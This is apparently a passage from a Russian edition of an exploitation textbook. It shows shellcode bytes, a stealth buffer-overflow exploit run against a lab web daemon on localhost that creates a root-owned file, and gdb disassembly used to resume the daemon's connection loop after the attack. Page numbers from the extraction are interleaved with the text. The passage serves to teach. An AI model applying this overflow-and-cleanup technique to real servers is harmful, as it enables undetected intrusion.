00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....j.X.1.|
380
0x600 Противодействие
00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke|
00000030 64 58 |dX|
00000032
reader@hacking:/booksrc $ ls -l /Hacked ls: /Hacked: No such file or directory reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1
target IP: 127.0.0.1
shellcode: mark (44 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-17 16:59 /Hacked reader@hacking:/booksrc $
0x652 Наведение порядка
Чтобы вернуть все на место, нужно устранить нарушения, вызван- ные переполнением буфера и/или шелл-кодом, и вернуть управле- ние в main() циклу, принимающему соединения. Дизассемблирование main()
показывает, что вернуться в цикл принятия соединения можно, если перейти по адресу 0x08048f64, 0x08048f65 или 0x08048fb7.
reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ gdb -q ./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) disass main
Dump of assembler code for function main:
0x08048d93 : push ebp
0x08048d94 : mov ebp,esp
0x08048d96 : sub esp,0x68 0x08048d99 : and esp,0xfffffff0 0x08048d9c : mov eax,0x0 0x08048da1 : sub esp,eax
.:[ вывод сокращен]:.
0x08048f4b : mov DWORD PTR [esp],eax
0x08048f4e : call 0x8048860
0x08048f53 : cmp eax,0xffffffff
0x08048f56 : jne 0x8048f64
0x08048f58 : mov DWORD PTR [esp],0x804961a
0x08048f5f : call 0x8048ac4
0x08048f64 : nop
0x08048f65 : mov DWORD PTR [ebp-60],0x10
0x08048f6c : lea eax,[ebp-60]
0x08048f6f : mov DWORD PTR [esp+8],eax
0x08048f73 : lea eax,[ebp-56]
0x08048f76 : mov DWORD PTR [esp+4],eax
0x08048f7a : mov eax,ds:0x804a970 0x08048f7f : mov DWORD PTR [esp],eax
0x650 Пропуск очевидного
3810x08048f82
: call 0x80488d0
0x08048f87 : mov DWORD PTR [ebp-12],eax
0x08048f8a : cmp DWORD PTR [ebp-12],0xffffffff
0x08048f8e : jne 0x8048f9c
0x08048f90 : mov DWORD PTR [esp],0x804962e
0x08048f97 : call 0x8048ac4
0x08048f9c : mov eax,ds:0x804a96c
0x08048fa1 : mov DWORD PTR [esp+8],eax
0x08048fa5 : lea eax,[ebp-56]
0x08048fa8 : mov DWORD PTR [esp+4],eax
0x08048fac : mov eax,DWORD PTR [ebp-12]
0x08048faf : mov DWORD PTR [esp],eax
0x08048fb2 : call 0x8048fb9